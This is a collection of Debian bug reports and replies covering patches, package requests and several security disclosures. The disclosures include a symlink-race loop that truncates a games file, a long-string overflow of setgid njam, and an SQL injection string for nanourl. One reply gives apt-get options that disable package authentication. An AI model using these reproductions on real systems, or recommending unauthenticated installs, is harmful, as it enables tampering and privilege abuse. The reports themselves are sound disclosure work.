JSON.parse("[1."+"1"*30+"]")
--
Steve
--
http://www.steve.org.uk/
Bug#291844: Info received (gtetrinet: have key for "send special to self")
Drop the file attached into ./debian/patches/special-to-self.diff,
and add it to debian/patches/series.
et voila.
Steve
--
Index: gtetrinet-0.7.11/src/config.c
===
--- gtetrinet-0.7.11.orig/src/config.c 2013-09-26 20:14:19.0 +0100
+++ gtetrinet-0.7.11/src/config.c 2013-09-26 20:14:22.0 +0100
@@ -72,7 +72,8 @@
GDK_3,
GDK_4,
GDK_5,
-GDK_6
+GDK_6,
+GDK_s
};
guint keys[K_NUM];
@@ -367,6 +368,14 @@
else
keys[K_SPECIAL6] = defaultkeys[K_SPECIAL6];
+p = gconf_client_get_string (gconf_client, "/apps/gtetrinet/keys/special_self", NULL);
+if (p)
+{
+ keys[K_SPECIAL_SELF] = gdk_keyval_to_lower (gdk_keyval_from_name (p));
+ g_free (p);
+}
+else
+ keys[K_SPECIAL_SELF] = defaultkeys[K_SPECIAL_SELF];
/* Get the timestamp option. */
timestampsenable = gconf_client_get_bool (gconf_client, "/apps/gtetrinet/partyline/enable_timestamps", NULL);
@@ -625,6 +634,18 @@
}
void
+keys_special_self_changed (GConfClient *client,
+ guint cnxn_id,
+ GConfEntry *entry)
+{
+
+ client = client;
+ cnxn_id = cnxn_id;
+
+ keys[K_SPECIAL_SELF] = gdk_keyval_to_lower (gdk_keyval_from_name (gconf_value_get_string (gconf_entry_get_value (entry;
+}
+
+void
partyline_enable_timestamps_changed (GConfClient *client,
guint cnxn_id,
GConfEntry *entry)
Index: gtetrinet-0.7.11/src/config.h
===
--- gtetrinet-0.7.11.orig/src/config.h 2013-09-26 20:14:19.0 +0100
+++ gtetrinet-0.7.11/src/config.h 2013-09-26 20:16:06.0 +0100
@@ -102,6 +102,11 @@
GConfEntry *entry);
void
+keys_special_self_changed (GConfClient *client,
+ guint cnxn_id,
+ GConfEntry *entry);
+
+void
partyline_enable_timestamps_changed (GConfClient *client,
guint cnxn_id,
GConfEntry *entry);
@@ -131,6 +136,7 @@
K_SPECIAL4,
K_SPECIAL5,
K_SPECIAL6,
+ K_SPECIAL_SELF,
/* not a key but the number of configurable keys */
K_NUM
} GTetrinetKeys;
Index: gtetrinet-0.7.11/src/dialogs.c
===
--- gtetrinet-0.7.11.orig/src/dialogs.c 2013-09-26 20:14:19.0 +0100
+++ gtetrinet-0.7.11/src/dialogs.c 2013-09-26 20:14:22.0 +0100
@@ -548,6 +548,7 @@
actions[K_SPECIAL4] = _("Special to field 4");
actions[K_SPECIAL5] = _("Special to field 5");
actions[K_SPECIAL6] = _("Special to field 6");
+actions[K_SPECIAL_SELF] = _("Special to self");
gconf_keys[K_RIGHT]= g_strdup ("/apps/gtetrinet/keys/right");
gconf_keys[K_LEFT] = g_strdup ("/apps/gtetrinet/keys/left");
@@ -563,6 +564,7 @@
gconf_keys[K_SPECIAL4] = g_strdup ("/apps/gtetrinet/keys/special4");
gconf_keys[K_SPECIAL5] = g_strdup ("/apps/gtetrinet/keys/special5");
gconf_keys[K_SPECIAL6] = g_strdup ("/apps/gtetrinet/keys/special6");
+gconf_keys[K_SPECIAL_SELF] = g_strdup ("/apps/gtetrinet/keys/special_self");
for (i = 0; i < K_NUM; i ++) {
gtk_list_store_append (keys_store, &iter);
Index: gtetrinet-0.7.11/src/gtetrinet.c
===
--- gtetrinet-0.7.11.orig/src/gtetrinet.c 2013-09-26 20:14:19.0 +0100
+++ gtetrinet-0.7.11/src/gtetrinet.c 2013-09-26 20:14:22.0 +0100
@@ -210,6 +210,10 @@
(GConfClientNotifyFunc) keys_special6_changed,
NULL, NULL, NULL);
+gconf_client_notify_add (gconf_client, "/apps/gtetrinet/keys/special_self",
+ (GConfClientNotifyFunc) keys_special_self_changed,
+NULL, NULL, NULL);
+
gconf_client_notify_add (gconf_client, "/apps/gtetrinet/partyline/enable_timestamps",
(GConfClientNotifyFunc) partyline_enable_timestamps_changed,
NULL, NULL, NULL);
Index: gtetrinet-0.7.11/src/tetrinet.c
===
--- gtetrinet-0.7.11.orig/src/tetrinet.c 2013-09-26 20:14:22.0 +0100
+++ gtetrinet-0.7.11/src/tetrinet.c 2013-09-26 20:14:22.0 +0100
@@ -1811,6 +1811,11 @@
tetris_drawcurrentblock ();
return TRUE;
}
+else if (gdk_keyval_to_lower (keyval) == keys[K_SPECIAL_SELF]) {
+ tetrinet_specialkey(playernum);
+tetris_drawcurrentblock ();
+return TRUE;
+}
tetris_drawcurrentblock ();
return FALSE;
}
Bug#291844: gtetrinet: have key for "send special to self"
I knocked up a patch to do this, bound to 's' by default. If there is interest I'm happy to report it here, I'm only resisting because this is an 8 year old bug and my patch doesn't use quilt. Steve -- http://www.steve.org.uk/
Bug#714421: fabric: No fabric package in wheezy?
I found the jessie package compiled cleanly under wheezy and made it available here: http://packages.steve.org.uk/fabric/ While I don't necessarily expect you to trust a random repository on the internet you can easily get the source(s) and rebuild locally. Steve -- http://www.steve.org.uk/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#700219: mpc: Playlist numbering is off-by-one
Package: mpc
Version: 0.19-2
Severity: normal
*** Please type your report below this line ***
I regularly use (via a local emacs mode) the formatting optiona
available in the playlist-display to choose my next song.
This example will make it clear:
* I'm trying to dump all songs in the playlist, along with
their numbers.
precious ~ $ mpc --format='%id% - %file%' playlist | head -n 10
0 - Abba/Abba - Dancing Queen.mp3
1 - AC-DC/Back In Black/Hells Bells - AC-DC - Back In Black - 01.mp3
2 - AC-DC/Back In Black/Shoot To Thrill - AC-DC - Back In Black - 02.mp3
3 - AC-DC/Back In Black/What Do You Do For Money Honey- - AC-DC - Back In Black
- 03.mp3
4 - AC-DC/Back In Black/Givin The Dog A Bone - AC-DC - Back In Black - 04.mp3
5 - AC-DC/Back In Black/Let Me Put My Love Into You - AC-DC - Back In Black -
05.mp3
6 - AC-DC/Back In Black/Back In Black - AC-DC - Back In Black - 06.mp3
7 - AC-DC/Back In Black/Have A Drink On Me - AC-DC - Back In Black - 08.mp3
8 - AC-DC/Back In Black/Shake A Leg - AC-DC - Back In Black - 09.mp3
9 - AC-DC/Back In Black/Rock And Roll Ain't Noise Pollution - AC-DC - Back In
Black - 10.mp3
So now I have the ID of each song, and the name.
Let us pretend that song 10 is currently playing. Let us play song 0:
precious ~ $ mpc play 0
AC-DC - Rock And Roll Ain't Noise Poll
[playing] #10/10246 0:04/4:26 (1%)
volume: n/a repeat: onrandom: onsingle: off consume: off
Here you see there is "magic behaviour". Attempting to play song 0
will show the details for the currently-playing song. It will not
play song zero.
If I wish to play Abba, the first song in the list above, I must choose
track 1:
precious ~ $ mpc play 1
Abba - Dancing Queen
[playing] #1/10246 0:00/6:33 (0%)
volume: n/a repeat: onrandom: onsingle: off consume: off
The conclusion? The playlist-formatting should start the ID at 1, not
0.
Patch attached:
--- util.c 2013-02-10 00:43:30.0 +
+++ util.c~ 2013-02-10 00:43:22.0 +
@@ -245,7 +245,7 @@
snprintf(buffer, sizeof(buffer), "%d", pos+1);
value = buffer;
} else if (strcmp(name, "id") == 0) {
- snprintf(buffer, sizeof(buffer), "%u", mpd_song_get_id(song)+1);
+ snprintf(buffer, sizeof(buffer), "%u", mpd_song_get_id(song));
value = buffer;
} else {
enum mpd_tag_type tag_type = mpd_tag_name_iparse(name);
-- System Information:
Debian Release: 6.0.6
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 2.6.32-5-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Versions of packages mpc depends on:
ii libc6 2.11.3-4 Embedded GNU C Library: Shared lib
ii libmpdclient2 2.3-1 client library for the Music Playe
mpc recommends no packages.
Versions of packages mpc suggests:
ii mpd 0.16.7-2 Music Player Daemon
-- no debconf information
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#692490: greed: Insecure use of lockfile in /tmp allows file truncation
Package: greed Version: 3.4-2 Severity: normal Usertags: security *** Please type your report below this line *** The setgid(games) binary greed makes insecure use of the file /tmp/Greed.lock - allow arbitrary files that are writeable to the games user. By itself this is not a grave concern, but it might be leveraged if another game cannot handle an empty data/save/misc file. Example of reproducing: skx@precious:~$ while true; do ln -sf /var/games/omega-rpg/omega.log /tmp/Greed.lock; done In another window launch greed. Then: skx@precious:~$ ls /var/games/omega-rpg/ -l total 4 -rw-rw-r-- 1 root games 301 Jun 1 2008 omega.hi -rw-rw-r-- 1 root games 0 Nov 6 18:34 omega.log The file "omega.log" was truncated. -- System Information: Debian Release: 6.0.6 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.32-5-amd64 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages greed depends on: ii libc6 2.11.3-4 Embedded GNU C Library: Shared lib ii libncurses5 5.7+20100313-5 shared libraries for terminal hand greed recommends no packages. greed suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#692489: omega-rpg: fails to drop group(games) privileges
Package: omega-rpg Version: 1:0.90-pa9-15 Severity: normal Usertags: security omega-rpg is installed setgid(games). There are two cases where it doesn't drop group(games) privileges: * When creating the help file "omega.doc" * When writing save-games Loading the game, and pressing "S" to save a game I get this: -rw-r--r-- 1 skx games 15388 Jun 25 22:50 Omega1000 -- System Information: Debian Release: 6.0.5 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.32-5-amd64 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages omega-rpg depends on: ii libc6 2.11.3-3 Embedded GNU C Library: Shared lib ii libncurses5 5.7+20100313-5 shared libraries for terminal hand omega-rpg recommends no packages. omega-rpg suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#675503: summain: Misc. typos in the manpage.
Package: summain Version: 0.13-1 Severity: minor *** Please type your report below this line *** Please find below a diff fixing a couple of typos in the manpage. -- System Information: Debian Release: 6.0.5 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.32-5-amd64 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Steve -- http://tasteful.xxx/ --- summain.1.in-orig 2012-06-01 17:27:01.0 +0100 +++ summain.1.in2012-06-01 17:27:59.0 +0100 @@ -6,11 +6,11 @@ .B summain gathers metadata about files, and computes their checksums. -It is inteded to create a +It is intended to create a .I manifest of the files. The manifest can be used to see if something has changed: -a new manfest can be created and compared with the old one with +a new manifest can be created and compared with the old one with .BR diff (1). .PP The manifest looks like this: -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#651896: Acknowledgement (njam: Insecure usage of environmental variable)
Simple patch:
--- src/njam.cpp-orig 2011-12-13 17:06:04.0 +
+++ src/njam.cpp2011-12-13 17:07:08.0 +
@@ -339,7 +339,7 @@
sprintf(linux_sdl_driver, "x11\0");
char *driver_name = getenv("SDL_VIDEODRIVER");
if (driver_name)
- sprintf(linux_sdl_driver, "%s\0", driver_name);
+ snprintf(linux_sdl_driver, sizeof(linux_sdl_driver)-1, "%s",
driver_name);
if (UseDGA)
{
Steve
--
http://edinburgh-portraits.com/
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#651896: njam: Insecure usage of environmental variable
Package: njam Version: 1.25-5 Justification: user security hole Severity: grave Tags: security *** Please type your report below this line *** The setgid(games) binary /usr/games/njam makes insecure use of the environmental variable SDL_VIDEODRIVER. This potentially allows the execution of arbitrary code, as the following example shows: 1. Setup the variable: birthday:~# export SDL_VIDEODRIVER=$(perl -e "print 'x'x300") 2. Launch the binary under gdb so we can see what happens: birthday:~# gdb /usr/games/njam (gdb) run Starting program: /usr/games/njam .. Program received signal SIGSEGV, Segmentation fault. 0x00404f48 in ?? () (gdb) bt 0 0x00404f48 in ?? () 1 0x7878787878787878 in ?? () 2 0x7878787878787878 in ?? () 3 0x7878787878787878 in ?? () 0x78 == "x" == Code execution via overflow. This is probably a minor issue, but should be simple to patch. -- System Information: Debian Release: 6.0.3 APT prefers stable APT policy: (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.32-5-amd64 (SMP w/3 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages njam depends on: ii libc62.11.2-10 Embedded GNU C Library: Shared lib ii libgcc1 1:4.4.5-8 GCC support library ii libsdl-image1.2 1.2.10-2+b2 image loading library for Simple D ii libsdl-mixer1.2 1.2.8-6.3 mixer library for Simple DirectMed ii libsdl-net1.21.2.7-2 network library for Simple DirectM ii libsdl1.2debian 1.2.14-6.1 Simple DirectMedia Layer ii libstdc++6 4.4.5-8 The GNU Standard C++ Library v3 njam recommends no packages. njam suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#635617: nanourl: SQL Injection flaw in URL lookup
Package: nanourl
Version: 0.1-7.1
Severity: important
*** Please type your report below this line ***
The lookup of destination URLs uses unescaped parameters from
the query string, making a classic SQL Injection security hole.
In real terms this package is not security critical, has a low
user-base, and so I'm only treating it as "important" and not
critical.
Code in question is:
--
...
$hash= $_GET['num'];
...
$result = mysql_query("SELECT url FROM urls WHERE hash = '$hash'");
if(! ($result)) {
die(mysql_error());
}
--
Consider the case where "hash" is set to:
bogus' or urls LIKE '%private%
Leading to a query like:
SELECT url FROM urls WHERE hash = 'bogus' or urls LIKE '%private%'
CVE ID is probably required :)
-- System Information:
Debian Release: 6.0.2
APT prefers stable
APT policy: (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 2.6.32-5-amd64 (SMP w/3 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Steve
--
Let me steal your soul?
http://stolen-souls.com
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#629003: fabric is prone to file-overwrite security issue(s).
Package: fabric
Version: 0.9.1-1
Justification: causes serious data loss
Severity: important
Tags: security
*** Please type your report below this line ***
Fabric includes two modules which are marked as "contrib", and are
included in the main package.
These two modules both suffer from the same issue:
* They write files with (semi-)predictable names, in world-readable
and world-writeable locations.
This allows a malicious local-user to pre-create the filenames which
will be used, and allow the overwriting of arbitrary files the user
invoking fabric controls.
The relevant code is included is:
fabric/contrib/projects.py:
tar_file = "/tmp/fab.%s.tar" % datetime.utcnow().strftime(
'%Y_%m_%d_%H-%M-%S')
cwd_name = getcwd().split(sep)[-1]
tgz_name = cwd_name + ".tar.gz"
local("tar -czf %s ." % tar_file)
fabric/contrib/files.py:
basename = os.path.basename(filename)
temp_destination = '/tmp/' + basename
...
...
put(tempfile_name, temp_destination)
[The latter case the upload happens on the *remote* system.]
-- System Information:
Debian Release: 6.0.1
APT prefers stable
APT policy: (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 2.6.32-5-amd64 (SMP w/3 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Versions of packages fabric depends on:
ii python 2.6.6-3+squeeze6 interactive high-level object-orie
ii python-paramiko 1.7.6-5 Make ssh v2 connections with Pytho
ii python-pkg-resources0.6.14-4 Package Discovery and Resource Acc
ii python-support 1.0.10 automated rebuilding support for P
fabric recommends no packages.
fabric suggests no packages.
-- no debconf information
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#615292: chronicle: Issues with rendering UTF-8 characters)
On Sun Feb 27, 2011 at 16:16:48 +0100, Kai Wasserb??ch wrote: > Steve Kemp schrieb am 27.02.2011 16:01: > > I've been careful to open all files in a way which seemed to be > > clean - but could you please try the patch below and let me > > know if it helps? > > sadly not, I'm still getting "" instead of "??". OK in that case can you mail me a copy of your ~/.chroniclerc file, gzipped, so that I can try to reproduce it here? (I've tested, and had reports of success, that the actual *blog entries* are fine in UTF-8 - this is the first time I've seen a report of an issue with the ~/.chroniclerc file causing problems.) Steve -- http://www.steve.org.uk/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#615292: chronicle: Issues with rendering UTF-8 characters)
On Sun Feb 27, 2011 at 15:50:28 +0100, Kai Wasserb??ch wrote:
> another side effect of this bug is a broken RSS feed,
Indeed. If it is broken it will be broken globally.
I've been careful to open all files in a way which seemed to be
clean - but could you please try the patch below and let me
know if it helps?
Steve
--
Debian GNU/Linux System Administration
http://www.debian-administration.org/
--- chronicle.orig 2011-02-27 15:00:01.0 +
+++ chronicle 2011-02-27 15:00:23.0 +
@@ -2875,6 +2875,8 @@
my $line = "";
open my $handle, "<:utf8", $file or die "Cannot read file '$file' - $!";
+binmode( $handle, ":utf8" );
+
while ( defined( $line = <$handle> ) )
{
chomp $line;
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#612671: A security issue was recently discovered in cgiirc.
Subject: A security issue was recently discovered in cgiirc.
Package: cgiirc
Version: Security issue in CGI::IRC
Severity: important
*** Please type your report below this line ***
Michael Brooks (Sitewatch) discovered a reflective XSS flaw in
CGI:IRC.
Mozilla have assigned CVE-2011-0050 for this issue; please reference
this in the changelog.
This bug, and issue, corresponds to the recently-released DSA-2158-1
Patch is as follows:
diff --git a/interfaces/nonjs.pm b/interfaces/nonjs.pm
index 9498cb6..72fb0a3 100644
--- a/interfaces/nonjs.pm
+++ b/interfaces/nonjs.pm
@@ -198,10 +198,11 @@ EOF
sub fuserlist {
my($self, $cgi, $config) = @_;
+ my $r = _escape($cgi->{R});
print <
-
Loading..
-- System Information:
Debian Release: 6.0
APT prefers stable
APT policy: (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 2.6.32-5-amd64 (SMP w/3 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#610352: security.debian.org: Recent change of advisory subject unhelpful
On Wed Jan 19, 2011 at 07:27:43 +0100, Thijs Kinkhorst wrote: > > For the "old" one I see what package is affected whereas for the new > > one I cannot. > > > > Could you please return to the old subject line? > > I think this is a good point. Maybe not return to the old subject per se, but > moving the package name to the start of the subject makes sense to me. Seconded. Steve -- Debian GNU/Linux System Administration http://www.debian-administration.org/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#596212: python-coverage: use externally-packaged jQuery libraries
On Thu Sep 09, 2010 at 20:49:27 +1000, Ben Finney wrote: > I've followed the instructions in the README.Debian for ???libjs-jquery??? > to use it from HTML files generated by ???python-coverage???, but without > success. Right, I think your specific use-case is non-standard and doesn't really match what the available documentation. > Using the attribute ???src="/javascript/jquery/jquery.js"??? failed; the > script silently fails to load. I could onyl get it to work with > ???src="/usr/share/javascript/jquery/jquery.js"???. This makes sense - because you're not expecting to serve the file via HTTP, but instead via a local file-system access. Your solution is correct: * Load via filesystem path, rather than by the URL, from beneath /usr/share/javascript/. > What is the expected context for following the instructions in the > ???libjs-jquery??? README.Debian? Could that document be updated to be > explicit about what that context is, and perhaps the limitations of > where that advice holds true? In 99% of cases, where the library is intended to be included by a file fetched via HTTP, the documentation is correct as-is. Its only if you're trying to load jQuery via something that doesn't use a web-server, and is instead found on the filesystem, that we need to document the solution. > Rather, the tool generates an HTML report which, in the upstream code, > gets the jQuery library copied into every such report. The HTML > documents then reference the jQuery libraries directly from the same > directory, with the intention that the report directory can be moved > anywhere, even to a different machine, and still work since the jQuery > libraries stay with the report. To handle that I'd almost suggest making a code-change. Linking /usr/share/javascript/jquery/jquery.js to the directory of the output - and then loading - such that if the directory is moved the source still works,. Steve -- Let me steal your soul? http://stolen-souls.com -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#580817: chronicle: List of tagged entries show up in reverse order
On Sat May 08, 2010 at 18:02:25 -0400, Felipe Sateler wrote: > When looking at a /tags//, posts are sorted in ascending > chronological order (older entries first). This should be the other way > around. Please consider using the --recent-tags-first command-line argument, or adding that to your chroniclerc file: echo "recent-tags-first=1" >> ~/.chroniclerc Steve -- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#564829: How to turn off all APT security checking?
On Sun Feb 07, 2010 at 00:47:10 +0800, jida...@jidanni.org wrote: > I can't take it any more, day after day various incomplete apt-get > updates, e.g., bug 564829 and Bug#553533: Seeing BADSIG 9AA38DCD55BE302B > frequently. What apt-get -o option can I use to turn off all this > security or whatever checking? It's just too much hassle. apt-get -o APT::Get::AllowUnauthenticated=true update apt-get -o APT::Get::AllowUnauthenticated=true upgrade You can see this option documented in "man apt-get" where you can also see "--allow-unauthenticated" documented. Steve -- Debian GNU/Linux System Administration http://www.debian-administration.org/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#566106: Fails to run filter
On Mon Jan 25, 2010 at 14:10:18 +0100, Guido G?nther wrote: > $ perl test.pl > 1. Open a pipe, normally > group > motd > 2. Open a pipe, set the mode > group > motd > 3. Open a handle. > group > motd > 4. Open a handle. binmode > group > motd > 5. Last ditch. > group > motd So absolutely all of them worked, and none gave any "File not found" errors. I'll update the code to use the modern handle approach (4. in that test program) and upload this evening. Very odd though.. Steve -- Debian GNU/Linux System Administration http://www.debian-administration.org/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#566106: Fails to run filter
On Thu Jan 21, 2010 at 11:08:39 +0100, Guido G??nther wrote:
> Failed to run filter: No such file or directory at /usr/bin/chronicle line
> 2000.
> # Run the command, reading stdout.
> #
> -open( FILTER, "$cmd|;utf8" ) or
> +open( FILTER, "$cmd|" ) or
This will work, but means that any non-Latin characters will be lost.
Can you please try running the sample program attached, and reporting
the output? That should be sufficient to tell me which alternative
I should adopt.
Steve
--
#!/usr/bin/perl -w
use strict;
use warnings;
#
# 1. Open normally.
#
print "1. Open a pipe, normally\n";
open( CMD, "/bin/ls /etc/|" )
or die "1. failed: $!";
while( my $line = )
{
print "\t$line" if ( $line =~ /(motd|group)$/ );
}
close( CMD );
#
# 2. Open normally, binmode it.
#
print "2. Open a pipe, set the mode\n";
open( CMD, "/bin/ls /etc/|" )
or die "2. failed: $!";
binmode(CMD, ":utf8");
while( my $line = )
{
print "\t$line" if ( $line =~ /(motd|group)$/ );
}
close( CMD );
#
# 3. Use a handle, as God intended.
#
print "3. Open a handle.\n";
open my $handle, "-|", "/bin/ls /etc"
or die "Failed : $!\n";
while( my $line = <$handle> )
{
print "\t$line" if ( $line =~ /(motd|group)$/ );
}
close( $handle );
#
# 4. Open a handle, use binmode
#
print "4. Open a handle. binmode\n";
open $handle, "-|", "/bin/ls /etc"
or die "Failed: $!\n";
binmode( $handle, ":utf8" );
while( my $line = <$handle> )
{
print "\t$line" if ( $line =~ /(motd|group)$/ );
}
close( $handle );
#
# 5. Last ditch
#
print "5. Last ditch.\n";
open $handle, "-|:utf8", "/bin/ls /etc"
or die "Failed: $!\n";
while( my $line = <$handle> )
{
print "\t$line" if ( $line =~ /(motd|group)$/ );
}
close( $handle );
Bug#566714: ITP: xen-tools -- Tools to manage Xen virtual servers
On Sun Jan 24, 2010 at 19:25:07 +0100, Axel Beckert wrote: > I know that upstream stopped development since Steve doesn't use > xen-tools (nor xen) anymore. FWIW I support this ITP. I will be happy to "give away" the code - such that this fork becomes official, and all existing references to the project point there. Steve -- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#565358: redis-server: Please consider adding command line completion to redis-cli
Package: redis-server
Version: 2:1.2.0-1
Severity: wishlist
Tags: +patch
*** Please type your report below this line ***
It would be useful to add a simple bash completion script to this
package to ease use - as the manpage doesn't list options.
Sample script attached below which you're welcome to use if you
don't have the time/patience to write a better one.
-- System Information:
Debian Release: squeeze/sid
APT prefers unstable
APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Kernel: Linux 2.6.32-trunk-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Versions of packages redis-server depends on:
ii adduser 3.112 add and remove users and groups
ii libc6 2.10.2-5 Embedded GNU C Library: Shared lib
redis-server recommends no packages.
redis-server suggests no packages.
-- no debconf information
# /etc/bash_completion.d/redis-cli.steve # -*- sh -*-
#
# Bash completion function for the 'redis-cli' command.
#
# Steve
# --
# http://www.steve.org.uk
#
_redis-cli()
{
COMPREPLY=()
cur=${COMP_WORDS[COMP_CWORD]}
prev=${COMP_WORDS[COMP_CWORD-1]}
#
# All known commands accepted. Sorted.
#
opts='bgrewriteaof bgsave dbsize debug decr decrby del echo exists expire
expireat flushall flushdb get getset incr incrby info keys lastsave lindex llen
lpop lpush lrange lrem lset ltrim mget move mset msetnx ping randomkey rename
renamenx rewriteaof rpop rpoplpush rpush sadd save scard sdiff sdiffstore
select set setnx shutdown sinter sinterstore sismember slaveof smembers smove
sort spop srandmember srem sunion sunionstore ttl type zadd zcard zincrby
zrange zrangebyscore zrem zremrangebyscore zrevrange zscore'
#
# Only copmlete on the first term.
#
if [ $COMP_CWORD -eq 1 ]; then
COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )
return 0
fi
}
complete -F _redis-cli redis-cli
--
Steve
--
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#555272: jquery: embeds prototype.js
The package does include a copy of the prototype library, but it is only used to run the integrated test-suite and is thus not a concern. It is not included in the binary package, just there for a maintainer who wants to fiddle with the package. Steve -- Debian GNU/Linux System Administration http://www.debian-administration.org/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#562623: Closing as directed
[Closing as directed] Steve -- Debian GNU/Linux System Administration http://www.debian-administration.org/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#524772: Looks like this can be closed
Now that we're on 0.83 it looks like this bug may be closed ..? Steve -- Debian GNU/Linux System Administration http://www.debian-administration.org/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#562684: ITP: libtext-vimcolor-perl -- syntax color text in HTML or XML using Vim
Package: wnpp Owner: Steve Kemp Severity: wishlist *** Please type your report below this line *** * Package name: libtext-vimcolor-perl Version : 0.11 Upstream Author : Geoff Richards * URL : http://search.cpan.org/dist/Text-VimColor/ * License : Perl License Programming Lang: Perl Description : syntax color text in HTML or XML using Vim Text::VimColor tries to markup text files according to their syntax. It can be used to produce web pages with pretty-printed colourful source code samples. It can produce output in the following formats: -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#561666: RM: xen-shell -- ROM; Obsolete - not supported
Package: ftp.debian.org Severity: normal *** Please type your report below this line *** Please remove from unstable release. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#561667: RM: xen-tools -- ROM; obsolete, unsupported.
Package: ftp.debian.org Severity: normal *** Please type your report below this line *** Please remove from unstable. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#553948: winkeydaemon: Symlink attack allows creation of arbitrary files
Package: winkeydaemon
Version: 1.0.1-3
Justification: user security hole
Severity: grave
